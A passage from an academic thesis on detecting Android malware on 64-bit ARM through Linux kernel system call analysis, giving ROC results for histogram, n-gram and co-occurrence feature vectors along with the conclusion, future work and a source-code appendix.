Their ROC curve and AUROC are depicted in Figure 6.3.
Even though co-occurrence matrices with offsets 2, 3 and 4 perform worse
than other tested versions, there is not a big difference between the rest of
the versions (co-occurrence matrices with offsets 4 to 10). We picked the two
with the highest AUROC, versions with offsets 5 and 10, to compare how
they do with only 40 and 20 system calls. This is displayed in Figure 6.4. It
shows that reducing the number of system calls does not affect the results
much. Nevertheless, the versions with all (70) system calls do perform slightly
better.
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Figure 6.4: ROC curve for co-occurrence matrices with different number of
system calls.
6.1.4 Excluding the Startup Sequence
As all captured logs in our dataset started with the same system call sequence,
we wanted to examine whether excluding these 1033 first calls from each the
log has any impact on the results. We picked one best performing model
from each the feature vector type analysed above. We compared these with
their version that excludes the startup sequence.
The results are shown in Figure 6.5. For the histogram, excluding the
initial sequence has a negative effect. Its performance degraded a little.
However, the results of both n-gram and co-occurrence matrix improved.
Especially for n-gram, the improvement is significant. We believe that ex-
cluding the initial sequence of system calls allows the rest of the data to
stand out, making the differences between benign and malicious data more
apparent.
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Figure 6.5: ROC curve for feature vectors including and excluding the startup
sequence.
6.1.5 Data Samples Split into Chunks
In this separate analysis, we split each benign system call log into five chunks
of the same length. We wanted to test whether the samples would be correctly
classified irrespective of the part of the log they come from. We used these
samples for both, training and testing of the classifier. For this analysis,
we chose the two best performing versions of each of the feature vectors.
Moreover, we included only samples without the startup sequence.
The results are depicted in Figure 6.6. They show that even with these
samples, there is a difference between malicious and benign data. However,
in spite of the fact that the results of histograms and co-occurrence matrices
are not far from the results mentioned above, n-grams perform significantly
worse. As we do not know the reason for this, it would be interesting to
explore this with a larger dataset.
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Figure 6.6: ROC curve for feature vectors including and excluding the startup
sequence.
6.1.6 Final Results
The analysis shows that there are differences between malicious and benign
system call samples collected on the ARM 64-bit architecture. However,
some feature vectors manage to spot these differences better than others.
Even though histogram performs worse than its competitors, it is the
least computationally demanding solution as its feature vector is significantly
smaller compared to other feature vectors. Thus, its results are still relevant.
Surprisingly, the histogram analysis results are best for the version with
only 20 system calls and including the startup sequence. That is the exact
opposite of the analysis for n-gram and co-occurrence matrix.
Co-occurrence matrix performs the best with all (70) system calls and
without the startup sequence. So does n-gram. Still, the difference between
versions of including all system calls or only the most commonly occurring
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ones is not significant and versions with fewer system calls present a good
solution with respect to the size of the feature vector. This is important es-
pecially when considering employing the classification in a real time analysis
on an Android device.
We also looked into the malware that is the most difficult to recognise
and it is the Shell embedded in a benign application. Especially longer mal-
ware samples (20 seconds) embedded in the CNET’s Tech Today application
present the biggest obstacle to all analysed classifiers. The reason is that the
Shell spawns a new process upon initialising a connection with the server.
As we are capturing only system calls for the main process, the system calls
for this shell are not recorder. Short samples (5 seconds) of system calls
get correctly classified as anomalous as they have enough malicious informa-
tion from initialising the connection with the server. However, in the longer
samples, the system calls involved in the connection initialisation get con-
cealed by system calls of the benign application.
This problem might be solved by also examining side processes, not just
the main one. An analysis of only short samples of both benign and mali-
cious applications would also be an interesting experiment. With the short
samples, the system calls capturing malicious connection initialisation are
more apparent.
Chapter 7
Conclusion
Android security is a very important topic to protect privacy and safety of its
users. Attackers have been successful in evading static analysis of application
code, especially with the use of dynamically loaded malware. For that reason,
there is a need for a dynamic solution capable of detecting this malware.
System calls may be the best approach for this task. System calls provide
a lot of potentially relevant information about application behaviour and
cannot be easily evaded.
In this thesis, we investigated the effectiveness of applying Linux kernel
system call analysis for detecting Android malware on the 64-bit ARM ar-
chitecture. We proved that it is possible to detect malware samples using
only sequencing of system calls irrespective of the return values, arguments,
and other semantics. To the best of our knowledge, this is the first research
investigating Android malware detection from Linux kernel system calls on
the 64-bit ARM (ARMv8) architecture.
We compared three different feature vectors; histogram, n-gram and co-
occurrence matrix. N-gram performed the best of all the feature vectors when
applied to analyse the entire system call logs, however, it was the worst one
for logs cut into smaller chunks. Co-occurrence matrix performed well in
both these analyses. In the first analysis (entire logs), it was close behind
n-gram while in the second analysis (chunks), it had the best results of all
tested feature vectors. Even though results of histogram were not the best in
either of these analyses, its feature vector is the shortest, thus, it is the least
resource demanding and should be considered when analysing data directly
on an Android device.
We also experimented with excluding the initial sequence of system calls
(first 1033) as this sequence is the same across all captured logs. This led
to a higher precision of n-gram and co-occurrence matrix. However, the
performance of histogram surprisingly degraded slightly.
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To reduce the computation required for data analysis, we compared res-
ults of feature vectors constructed from all system calls to those construc-
ted from the 20 and 40 most frequent ones. The accuracies of n-gram and
co-occurrence matrix degraded only a little bit while the the computation
complexity dropped dramatically. However, for histogram, it was the other
way around. Its accuracy surprisingly increased slightly when including only
the 20 most frequent system calls. Hence, the versions of feature vectors
with only the most frequent system calls are excellent candidates for real
time system call analysis.
Moreover, we investigated existing Android emulators, looking for one
that would emulate the 64-bit ARM architecture. However, we were not
able to find a suitable emulator as the only one that supports 64-bit ARM
Android architecture (Android Virtual Device emulator) failed at connecting
to the Internet network.
Additionally, we examined Android event generators, simulating human
interactions, that could help researchers automate their dataset collection.
Nevertheless, all reviewed event generators lacked precision and could not be
used for our purpose.
We also described how to automatically start an Android application on
a real Android device and capture its system calls. To trace the system calls
of an application, we utilised the strace tool, attaching it to the Android
zygote process. Nonetheless, this method requires rooting of the device.
7.1 Future Work
Even though our work has proven that it is possible to detect malicious
behaviour from Linux kernel system calls on 64-bit ARM architecture, it
is not guaranteed that it is computationally feasible to protect an Android
device in real time. However, it has uncovered new areas for future work.
These include:
• Analyse our dataset (or a new dataset) with other classification al-
gorithms (e.g. Artificial Neural Networks and Decision trees) and com-
pare their results.
• Together with the main process of an application, capture system calls
also for their side processes. Test this with malware that spawns a new
thread where it executes most of its malicious behaviour (e.g. the Shell
from the Metasploit toolbox). Compare the results with the results of
capturing system calls only from the main thread.
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• Train the classifier on a computer, but run the analysis on a real An-
droid device. Compare how many resources different feature vectors
and different algorithms consume.
• Compare system call logs captured on different architectures (e.g. ARMv8
and x86-64).
• Experiment with different lengths of system call samples to see which
can detect malicious behaviour most accurately.
• Conduct the same experiments with a larger dataset, including more
benign applications as well as a wider range of different malware fam-
ilies.
• Design a smart Android event generator that analyses the screen of the
device and produces actions that can simulate human interactions.
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Appendix A
Source code
All scripts in this research are written in BASH and Python 3. Source codes
are available at: https://github.com/mborekcz/ids for android
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